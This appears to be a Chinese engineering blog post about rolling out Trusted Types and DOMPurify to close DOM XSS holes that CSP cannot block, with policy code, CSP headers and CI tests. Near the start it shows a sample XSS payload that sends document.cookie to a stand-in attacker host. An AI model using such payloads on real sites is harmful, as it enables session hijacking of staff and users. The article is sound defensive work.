Trusted Types 落地记:CSP 挡不住的 DOM XSS 怎么补
上周把公司站点的 CSP 报告拉出来复查,扫描工具那份周报里有一条一直没消掉:某个页面存在潜在 DOM XSS 风险,触发点是 innerHTML。我盯着这条看了很久,因为按理说不该有——script-src 早就锁死到 'self' 加几个 nonce,内联脚本全部签了 nonce,第三方域名也是白名单过一遍才放行的。CSP Report-Only 观察了两周基本不再有违规上报,我们才切到强制模式。照这个配置,脚本注入应该无处下手才对。
打开那个页面的代码才明白问题出在哪。那是一个客服工单详情页,客户描述里可能带 HTML 格式(富文本编辑器录入),前端渲染时直接:
1function TicketBody({ html }: { html: string }) { 2 return <div dangerouslySetInnerHTML={{ __html: html }} /> 3}
html 这个字段没有经过任何清洗,是从工单接口原样传下来的。攻击者只要在提交工单时塞一段 <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">,等客服打开工单详情页,这段脚本就会在客服的会话里执行。整个过程没有加载任何外部脚本文件,没有内联 <script> 标签,onerror 属性里的代码是随着这段 HTML 字符串一起被写进 DOM 的,靠的是浏览器解析 HTML 时对事件属性的原生支持。CSP 的 script-src 指令管的是"脚本从哪来",而这段代码根本没有一个可以被拦截的"来源"——它就是页面自己调用 innerHTML 时,把不可信字符串当成可信标记语言解析出来的。CSP 对这类攻击基本无能为力,除非同时配 unsafe-eval 相关限制去挡 eval 这条支线,但对 innerHTML 这个口子它是空白的。
这不是配置疏漏,是 CSP 这套机制天生管不到的地方,它审查的是资源加载,不审查 DOM 写入。工单页这个漏洞算是撞上了,再往前查了几个页面,又在一个 URL 参数拼接的场景里找到类似问题:面包屑组件把 location.search 里的 from 参数原样塞进一段提示文案的 innerHTML,用来显示"从 XX 页面跳转而来"。这两处的共同点是:数据源不可信,写入方式是危险 Sink,而站点级别的安全策略对这类写入完全不设防。
危险 Sink 都有哪些
排查这两处问题之后,我把团队里可能踩这个坑的 API 列了一遍。innerHTML、outerHTML 是最常见的,任何字符串赋值进去都会被当成 HTML 解析,事件属性、<script> 标签(innerHTML 赋值时 <script> 不会执行,但事件属性和 javascript: URL 会)、<svg> 里嵌的脚本都可能触发。document.write、document.writeln 同样危险,而且这两个 API 因为会阻塞文档解析,现在项目里基本用不到了,反而容易被忽略成"死代码"没人管。
eval、new Function(...) 是另一类,危险性不在 HTML 解析而在直接执行字符串作为代码,只要拼接进去的片段来自用户输入或者外部接口,就等于把执行权限交出去了。setTimeout、setInterval 传字符串参数时内部走的也是隐式 eval,这个坑比较隐蔽,很多人写 setTimeout("doSomething()", 1000) 图省事,从没意识到这跟 eval 是同一类风险。
setAttribute 本身不算危险 Sink,但设置某些属性名时效果等同于危险 Sink——setAttribute('onclick', userInput)、setAttribute('href', 'javascript:' + userInput)、iframe.setAttribute('srcdoc', userInput)。还有 location.href、window.open 接收一个可控字符串时,如果这个字符串以 javascript: 开头,同样是脚本执行入口,只是不经过 HTML 解析器,而是浏览器对 URL scheme 的处理逻辑。
这份清单列出来之后,我们内部安全评审的口径统一成一句话:只要写入的字符串来源不是开发者在代码里写死的字面量,进任何一个上面提到的 API,都得先问一句谁审查过这段内容。人肉 review 能挡一部分,但挡不住新同事图省事直接写、也挡不住某个第三方组件库内部悄悄用了 innerHTML。
Trusted Types 怎么工作
Trusted Types 的思路不是再加一条规则让大家自觉遵守,而是把这条规则交给浏览器去强制执行。开启之后,浏览器会在底层给这些危险 Sink 加一层类型检查:赋值给 innerHTML 的值必须是 TrustedHTML 类型的对象,赋值给 script.src 的必须是 TrustedScriptURL,传给 eval/Function 构造器的必须是 TrustedScript。普通字符串不再被接受,浏览器直接抛 TypeError,页面在开发环境里会立刻报错,而不是等到线上被人利用才发现。
这几种受信类型不能凭空产生,必须经过一个显式创建的策略对象转换。策略用 trustedTypes.createPolicy() 注册,每个策略名字对应一组转换函数:
1if (window.trustedTypes && trustedTypes.createPolicy) { 2 const policy = trustedTypes.createPolicy('app-default', { 3 createHTML: (input) => { 4 // 转换逻辑必须显式声明,这里先给个最简单的直传示例 5 return input 6 }, 7 createScript: (input) => input, 8 createScriptURL: (input) => { 9 const url = new URL(input, location.origin) 10 if (url.origin !== location.origin) { 11 throw new Error(`不允许的脚本来源: ${url.origin}`) 12 } 13 return url.toString() 14 }, 15 }) 16 17 const trusted = policy.createHTML('<b>hi</b>') 18 el.innerHTML = trusted // 合法写入 19 el.innerHTML = '<b>hi</b>' // 直接赋值字符串,开启强制模式后会被拒绝 20}
策略里 createHTML 直接原样返回字符串这种写法当然没有实际的清洗效果,纯粹是把类型标签盖上去,这一点很容易被误解成"用了 Trusted Types 就自动安全了"。它真正提供的保证只是:所有到达危险 Sink 的字符串都必须经过某个可审查、可测试、名字固定的函数处理,至于这个函数处理得干不干净,仍然是你自己的责任。它把"审查发生过"这件事变成强制,但审查质量还得靠你。
接一个真实的富文本渲染场景
工单详情页那处漏洞,我们后来用 Trusted Types 配合已经在用的 DOMPurify 重做了一版。策略里的 createHTML 直接调用清洗函数:
1const htmlPolicy = trustedTypes.createPolicy('ticket-html', { 2 createHTML: (input) => 3 DOMPurify.sanitize(input, { 4 ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'br'], 5 ALLOWED_ATTR: ['href', 'target', 'rel'], 6 }), 7}) 8 9function renderTicketBody(container, rawHtml) { 10 container.innerHTML = htmlPolicy.createHTML(rawHtml) 11}
在 React 项目里,dangerouslySetInnerHTML 接收的仍然是一个字符串(React 内部把这个字符串塞进 innerHTML),所以策略要包一层,渲染前先转换:
1function TicketBody({ html }: { html: string }) { 2 const safe = htmlPolicy.createHTML(html) 3 // React 18 仍要求 __html 是字符串,TrustedHTML 对象要么转成字符串再传, 4 // 要么配合下面 CSP 强制模式让浏览器在真正写入 DOM 时做类型校验 5 return <div dangerouslySetInnerHTML={{ __html: String(safe) }} /> 6}
这里有个容易踩的细节:TrustedHTML 转成字符串(String(safe) 或模板字符串插值)之后,它就变回普通字符串了,浏览器在真正执行 element.innerHTML = ... 这一步时看到的还是字符串类型,如果这一步不是通过策略产生的 TrustedHTML 直接赋值,强制模式下同样会报错。React 目前对 Trusted Types 的原生支持还不完整,dangerouslySetInnerHTML 内部最终落到 innerHTML = 赋值,这一步会做类型检查,所以线上跑之前一定要在开启强制模式的环境里实测一遍,不能只看策略函数本身跑没跑通。
第三方脚本加载走 createScriptURL。我们有个统计 SDK 是动态插入 <script> 标签的:
1const scriptUrlPolicy = trustedTypes.createPolicy('script-loader', { 2 createScriptURL: (input) => { 3 const allowedHosts = ['cdn.example.com', 'stat.example.com'] 4 const url = new URL(input) 5 if (!allowedHosts.includes(url.host)) { 6 throw new Error(`脚本地址不在白名单: ${url.host}`) 7 } 8 return input 9 }, 10}) 11 12function loadScript(src) { 13 const script = document.createElement('script') 14 script.src = scriptUrlPolicy.createScriptURL(src) 15 document.head.appendChild(script) 16}
这段代码等于把"第三方脚本域名白名单"这条本来靠 CSP script-src 表达的规则,又在 JS 层再校验一遍,双保险落在同一份白名单逻辑里,维护成本不算高。
Worker 和 importScripts 里同样要过一遍
TrustedScriptURL 不是只有 <script src> 这一个消费方,一开始我们只顾着改页面里动态插入的 <script> 标签,上线 Report-Only 之后才发现漏了一大块:项目里有个大文件上传用的哈希计算是丢进 Web Worker 里跑的,new Worker(url) 这一步传的 url 同样要求是 TrustedScriptURL,跟 script.src 走的是同一套类型校验:
1const workerUrlPolicy = trustedTypes.createPolicy('worker-loader', { 2 createScriptURL: (input) => { 3 const url = new URL(input, location.origin) 4 if (url.origin !== location.origin) { 5 throw new Error(`Worker 脚本不允许跨源加载: ${url.origin}`) 6 } 7 return input 8 }, 9}) 10 11function spawnHashWorker() { 12 const src = workerUrlPolicy.createScriptURL('/workers/file-hash.js') 13 return new Worker(src) 14}
Worker 内部如果又用 importScripts() 去加载别的脚本文件,同样要求参数是受信类型,这一步很容易被忽略,因为 Worker 脚本本身跑在独立的全局作用域里,trustedTypes 对象在 Worker 里也是存在的,但策略需要在 Worker 内部单独注册一次,不会继承主线程里注册过的策略:
1// file-hash.js —— 运行在 Worker 上下文里 2const importPolicy = trustedTypes.createPolicy('worker-import', { 3 createScriptURL: (input) => input, 4}) 5 6importScripts(importPolicy.createScriptURL('/vendor/spark-md5.min.js'))
我们踩的坑是这个哈希 Worker 文件本身没问题,但 Worker 内部又 importScripts 了一个第三方哈希库,那一行调用没做任何处理,直接传了个字符串路径。强制模式下这行会直接把整个 Worker 启动失败,文件上传功能表现为卡在"计算中"再也不动,排查起来比页面上的报错麻烦得多——Worker 的报错不会冒泡到主线程的 securitypolicyviolation 监听器上,得单独在 Worker 里监听 error 事件才能捕捉到。
CSP 指令怎么配合开启强制模式
光创建策略不会自动生效,创建策略只是"提供了一条合法通道",要让浏览器真正拒绝未经策略处理的字符串写入危险 Sink,得靠 CSP 头声明强制模式:
1Content-Security-Policy: 2 require-trusted-types-for 'script'; 3 trusted-types ticket-html script-loader app-default 'allow-duplicates';
require-trusted-types-for 'script' 是开关,表示"脚本相关的危险 Sink 一律要求 Trusted Types 类型"。trusted-types 指令是白名单,列出页面允许创建哪些名字的策略,没在这份名单里的 createPolicy 调用会直接抛异常。这一步很关键,因为如果攻击者已经能在页面里执行一段任意 JS(比如通过别的漏洞),他理论上也能调用 trustedTypes.createPolicy 自己造一个策略绕过限制——trusted-types 指令把"谁能创建策略"也锁死了,除非页面本身声明了允许的策略名单,否则新建策略这一步本身就会被拒绝。
策略名字要写进 CSP 白名单这件事,倒逼我们把命名规则定下来,不然这份指令会越攒越长、谁也说不清哪个策略还在用。最后定的规则很朴素:策略名前缀跟着来源分类,业务代码用 app- 开头,按模块再细分,比如 app-ticket-html;第三方依赖统一 vendor- 开头,后面跟依赖包名,比如 vendor-echarts、vendor-quill;纯粹的应急通道就是前面提到的固定名字 default,不占用业务命名空间。这么拆的好处是白名单和代码库里的 createPolicy 调用能对得上号,评审新 PR 时看到 CSP 里多了一个陌生名字,一查前缀就知道该找谁问。也考虑过给每个前端团队分配独立命名空间、互相不许创建对方前缀的策略,但我们团队规模没到需要这么细分的地步,暂时没做,如果以后多团队共用同一个应用壳,这条大概率要补上。
'allow-duplicates' 是个可选项,默认情况下同名策略只能创建一次,重复调用 createPolicy('ticket-html', ...) 第二次会报错。热更新、多入口打包场景下模块可能被加载两次,加上这个关键字能避免误报,但代价是放松了"策略定义只能有一份"这个假设,所以我们只在开发环境的 CSP 里加了这个词,生产环境去掉了它,靠打包配置保证策略只声明一次。
先上 Report-Only 观察一段时间也是必要的:
1Content-Security-Policy-Report-Only: 2 require-trusted-types-for 'script'; 3 trusted-types ticket-html script-loader app-default; 4 report-uri /api/csp-report;
开启强制模式之后,如果某处代码不经过策略直接往危险 Sink 里塞字符串,控制台看到的不是一句笼统的安全警告,而是标准的 TypeError,措辞很直白:
Uncaught TypeError: Failed to set the 'innerHTML' property on 'Element':
This document requires 'TrustedHTML' assignment.
script.src 那条路径报错文案换了个宾语,但结构是一样的:
Uncaught TypeError: Failed to set the 'src' property on 'HTMLScriptElement':
This document requires 'TrustedScriptURL' assignment.
这条报错本身不会告诉你调用栈之外的任何东西,也不会告诉你这次赋值是不是恶意的,它单纯是类型不匹配。第一次在本地跑出这条报错时我一度以为是策略注册顺序写错了,翻了半天才确认是某个日期组件压根没走策略。这也是我们先用 Report-Only 而不是直接开强制模式的原因——强制模式下这类报错是真的会中断脚本执行、让页面某个区域直接空白的,线上抛出去代价太大,得先在 Report-Only 下把这些位置摸清楚。
Report-Only 模式不会阻断任何赋值,只是把每一次本该被拒绝的写入,打包成一条违规报告 POST 到 report-uri 指定的接口。我们收报告的接口就是普通的日志落库,字段里 blocked-uri 记录被拦下的资源地址(HTML 场景下通常是 trusted-types-sink),source-file 和 line-number 指向触发违规的脚本文件和行号,sample 有时候会带一小段被拒绝内容的摘要。三周观察期结束后按 source-file 分组统计,排在前面的不是我们自己业务代码,反而是几个第三方依赖打包后的产物文件,这也是促使我们后来单独给第三方代码开宽松策略的直接原因,不然按最初的计划直接切强制模式,这些第三方组件会成片报错。
真实落地时撞见的麻烦
第一个麻烦是第三方库。项目里用的一个日期选择器组件内部直接写 element.innerHTML = renderCalendarHtml(),开启 Report-Only 之后这一条几乎每次打开日期选择器都触发一次违规上报。这类库不受我们控制,没法要求它先经过策略,只能给它单独开一个策略,把它的输出当作"可信但没清洗"处理:
1const vendorPolicy = trustedTypes.createPolicy('vendor-datepicker', { 2 createHTML: (input) => input, // 组件本身不接受用户输入,暂时直接放行 3})
这么做的前提是审查过这个组件的输出确实不掺杂任何外部数据,纯粹是它自己拼的日历 DOM 结构。如果哪天这个组件版本升级,新增了"支持自定义单元格内容"这种功能,这条策略就得重新审查,不能一劳永逸。
日期选择器只是开头,摸下来发现团队里常年在用的几类第三方代码基本都逃不开这个问题。图表库是重灾区,我们用的一个 ECharts 封装组件,tooltip.formatter 允许返回一段 HTML 字符串由库自己塞进悬浮层的 innerHTML,如果这段 HTML 里插了后端返回的字段(比如商品名称、用户备注),相当于图表库帮你开了个跟工单详情页一模一样的口子,只是藏得更深,很容易被当成"图表配置"而不是"渲染用户输入"来对待。我们的做法是给这类 formatter 统一包一层,格式化函数内部凡是插值用户数据的地方先转义,再交给一个专门给图表开的策略:
1const chartPolicy = trustedTypes.createPolicy('vendor-echarts', { 2 createHTML: (input) => DOMPurify.sanitize(input, { ALLOWED_TAGS: ['b', 'br'] }), 3}) 4 5function formatTooltip(params) { 6 const raw = `<b>${params.name}</b><br/>${escapeHtml(params.data.remark)}` 7 return String(chartPolicy.createHTML(raw)) 8}
富文本编辑器是另一类,Quill、TinyMCE 这些编辑器内部为了实现所见即所得,粘贴处理、格式刷这些功能几乎必然要直接操作 innerHTML,编辑器本身的内部实现我们改不了,也不该改。这类场景我们的处理原则是分开对待编辑态和展示态:编辑器内部怎么操作 DOM 交给编辑器自己的策略去兜,但编辑完提交到后端之前,前端先用 DOMPurify 把编辑器吐出来的 HTML 过一遍白名单,展示态渲染再用工单详情页那套 ticket-html 策略处理一遍,等于清洗做了两次——一次在编辑器提交时,一次在展示时——这么做看起来冗余,但两个时机各自能挡住不同的问题:提交时挡的是编辑器本身可能留下的脏标签,展示时挡的是后端存储层如果被绕过直接写入数据的情况。
第二个麻烦是工作量比想象的大。真正麻烦的不是写策略本身,策略函数往往就十几行,是把所有危险 Sink 调用点找全。我们用 eslint-plugin-no-unsanitized 配合全局搜索 innerHTML、outerHTML、document.write、setAttribute 过了一遍代码库,两百多个组件里找到了四十多处直接赋值,分散在业务代码、内部工具库、还有几个已经不太维护的旧模块里。每一处都要单独判断:这里的数据来源可信不可信,要不要清洗,用哪个策略。这个改造花了将近两周,比预估的时间长不少,因为有些调用点藏在动态拼接的字符串模板里,静态扫描工具压根找不到,得靠人读代码。
第三个麻烦是调试体验。开启强制模式之后,报错信息通常只有一行 This document requires 'TrustedScript' assignment,具体是哪个组件的哪次调用触发的,得靠浏览器调用栈自己倒查,Chrome DevTools 里 Trusted Types 相关的报错目前展示得还比较简陋,没有专门的面板列出"这次页面加载一共触发了几次违规、分别在哪"。我们后来在 Report-Only 阶段把上报接口收到的数据按 blocked-uri 和 source-file 分组统计,才算是把违规点摸清楚,这个统计脚本比写策略本身花的时间还多。
用 default 策略兜住漏网的调用点
四十多处调用点改造完之后,我们还是不放心——万一某个分支代码遗漏了,或者以后新同事加了一行 el.innerHTML = xxx 忘了走策略,Report-Only 阶段就已经暴露了这个问题:观察到的违规里,有一批根本对不上我们注册过的策略名,说明还有代码路径在直接赋值字符串。这类情况可以注册一个名字固定为 default 的特殊策略,它会自动拦截所有没有显式调用某个具名策略、却仍然尝试把普通字符串写入危险 Sink 的操作:
1trustedTypes.createPolicy('default', { 2 createHTML: (input, sinkName) => { 3 console.warn(`[trusted-types] 未走具名策略的 HTML 写入: ${sinkName}`) 4 return DOMPurify.sanitize(input) 5 }, 6 createScriptURL: (input, sinkName) => { 7 console.error(`[trusted-types] 未走具名策略的脚本地址: ${input}`) 8 throw new Error('未授权的脚本来源') 9 }, 10})
default 策略的回调函数会拿到一个额外的 sinkName 参数,告诉你这次转换是从哪个 Sink 触发的(比如 HTMLElement innerHTML),排查漏网调用点时比翻违规上报方便得多。它更像一张安全网,不建议长期依赖——如果某段业务逻辑长期靠 default 策略接住,说明这段代码从没被真正审查过来源,只是被动地经过了一次通用清洗。我们现在把 default 策略里的 HTML 分支设成"清洗后放行但打日志",脚本地址分支设成"直接拒绝",这样即便有遗漏,最多是某段富文本显示不完整,不会真的执行到脚本。日志攒了两周之后,确实又揪出三处遗漏的调用,都是老代码里一个消息通知组件用 outerHTML 整体替换节点的写法,回头单独给它接了策略。
有个限制要留意:一个页面只能注册一个 default 策略,第二次调用 createPolicy('default', ...) 会报错,这跟具名策略的 allow-duplicates 规则是分开的两件事。而且 default 策略必须在页面里其他脚本尝试写入危险 Sink 之前就注册好,通常放在入口文件最早执行的位置,晚了就赶不上第一批 DOM 操作。
setAttribute 和 Sanitizer API 没覆盖的部分
排查危险 Sink 清单时我们踩过一个误区,一开始以为 Trusted Types 会拦住所有 setAttribute('onclick', ...) 这类事件属性赋值,实测发现并不是。当前规范里 Trusted Types 强制校验覆盖的是 Element.setAttribute/setAttributeNS 里那几个特定属性名——主要是 src、srcdoc、href 这类会加载资源或解析成脚本地址的属性,具体覆盖范围随浏览器实现版本会有细微差异,onclick、onerror 这类事件属性目前并不在强制校验范围内。也就是说,如果代码里有 el.setAttribute('onerror', userInput) 这种写法,Trusted Types 开着也照样能被注入,这条口子还是得靠输入校验和 code review 去挡,不能指望浏览器类型系统替你兜底。
排查完这条之后我们在 ESLint 规则里单独加了一条:任何 setAttribute 调用如果第一个参数是以 on 开头的字符串字面量,一律标红,逼着改成走 addEventListener 绑定函数而不是拼字符串。这个规则跟 Trusted Types 没有直接关系,但排查过程里能看出来,一套安全机制再完善,也总有它明确没打算管的角落,得靠别的手段补。
浏览器这边另外还在推进一个相关但独立的提案,DOM 的 Sanitizer API(Element.setHTML()),目标是提供一个内置的、不依赖第三方库的 HTML 清洗能力,理论上可以和 Trusted Types 配合,策略内部调用原生 setHTML 而不是外部引入 DOMPurify。这个 API 我们只在 Chrome 最新版里试了试,规范还在演进阶段,属性白名单的默认行为和 DOMPurify 不完全一致,暂时没打算替换现有的 DOMPurify 方案,先记在评估清单里。
上线前怎么在 CI 里验证策略没漏
策略改造完之后最怕的是回归——某次重构不小心又引入了一处直接赋值,线下没跑出问题,上线才被强制模式拦下来,用户端表现为一片空白或者控制台报错。我们在 Playwright 的端到端测试里加了一段逻辑,跑用例的浏览器上下文提前注入强制模式的 CSP 头,并且监听页面的 securitypolicyviolation 事件:
1test('富文本渲染页不触发 Trusted Types 违规', async ({ page }) => { 2 const violations: string[] = [] 3 await page.exposeFunction('reportViolation', (detail: string) => { 4 violations.push(detail) 5 }) 6 await page.addInitScript(() => { 7 document.addEventListener('securitypolicyviolation', (e) => { 8 // @ts-expect-error 测试环境注入的桥接函数 9 window.reportViolation(`${e.violatedDirective}: ${e.blockedURI}`) 10 }) 11 }) 12 13 await page.goto('/tickets/12345') 14 await page.waitForSelector('[data-testid="ticket-body"]') 15 16 expect(violations).toEqual([]) 17})
因为 Trusted Types 只有 Chromium 支持,这条流水线只跑 Chromium 项目,Playwright 默认配置里 Firefox/WebKit 的用例会跳过这段断言,跑了也测不出真实的强制效果。这套用例接进 CI 之后,确实拦下过一次回归——有人在客服面板加了个"复制富文本"按钮,内部临时拼了一段 HTML 字符串塞进一个隐藏的 div.innerHTML 用来做剪贴板兼容处理,没走任何策略,PR 合并前这条用例直接标红,省了一次上线后现查的功夫。
怎么跟安全负责人汇报这件事的收益
改造做完总得有个说法,不然下次评审预算的时候没人记得这两周花在哪了。我们没有直接甩一句"上线了 Trusted Types",而是把 Report-Only 阶段攒下来的数据整理成几个具体数字交上去:观察窗口里一共收到多少条违规上报、按 source-file 去重之后对应多少个真实调用点、这些调用点里有几个是业务代码自己写的、几个来自第三方依赖。我们那次统计下来是四十六个真实调用点,业务代码占三十一个,第三方依赖占十五个,其中工单详情页那处能拼出可执行脚本的算是唯一一个已经被验证过确实可利用的高风险点,其余大部分是清洗不完整或者压根没数据来源风险、只是写法不规范。
比起"拦截了多少次攻击"这种没法验证的说法,我们更愿意汇报"覆盖了多少个高风险 Sink 调用点"——四十六个里全部接上策略,其中十九个原本完全没做任何清洗,这十九个才是真正意义上补上的漏洞。切到强制模式之后线上还在持续收 CSP 报告,这部分数字后来也按月同步给安全负责人,如果某个月违规数突然涨了一截,通常意味着有新代码绕开了策略,值得单独去查一下,而不是当噪音忽略。这套汇报口径定下来之后,安全评审那边对这类改造的态度也松动了不少,不再要求每次都提供"能证明堵住了真实攻击"的证据,覆盖率和调用点清单本身就足够说明问题。
只有 Chromium 支持,当作纵深防御的一层
Trusted Types 目前只有 Chromium 系(Chrome、Edge、Opera 这些)实现,Firefox 和 Safari 都还没有支持,MDN 上这个特性的兼容性表格里 Firefox 和 Safari 那两列长期是空的。这意味着即便配了 require-trusted-types-for,在非 Chromium 浏览器里这条指令会被直接忽略,页面照常运行,危险 Sink 该怎么被滥用还怎么被滥用——它不是那种"没实现就报错拒绝加载"的强制特性,浏览器不认识这个指令名就当没看见。所以现阶段没法把它当成唯一防线,该有的 DOMPurify 清洗、CSP 的 script-src 限制、输入校验一个都不能省,Trusted Types 是在这些防护已经就位的基础上,给支持它的浏览器多加一层浏览器层面的强制审查。
我们内部对这件事的判断是:在能覆盖到 Chromium 用户(后台统计看下来站点访问里 Chrome 系浏览器占了八成以上)的场景里,这层防护的收益是实打实的,它能把"某处遗漏清洗"这种人为疏漏,变成浏览器直接报错拦截,而不是等到真被人利用才发现。但如果指望它一次性堵住所有 DOM XSS,那是过高的预期,尤其在 Safari 用户占比不低的产品线上,它更多是锦上添花而不是雪中送炭。
管理后台这类内部系统我们已经把强制模式落到生产环境了,访问的基本都是公司内部配发的 Chrome。对外的官网和用户端产品,目前还停留在 Report-Only 阶段,继续攒违规数据、把第三方脚本清单摸得更全,等策略覆盖率上去了、误报率降下来,才考虑切到强制。工单详情页那个漏洞已经用 htmlPolicy.createHTML 接上了 DOMPurify,这个具体的口子先堵上了,不用等整站策略铺完。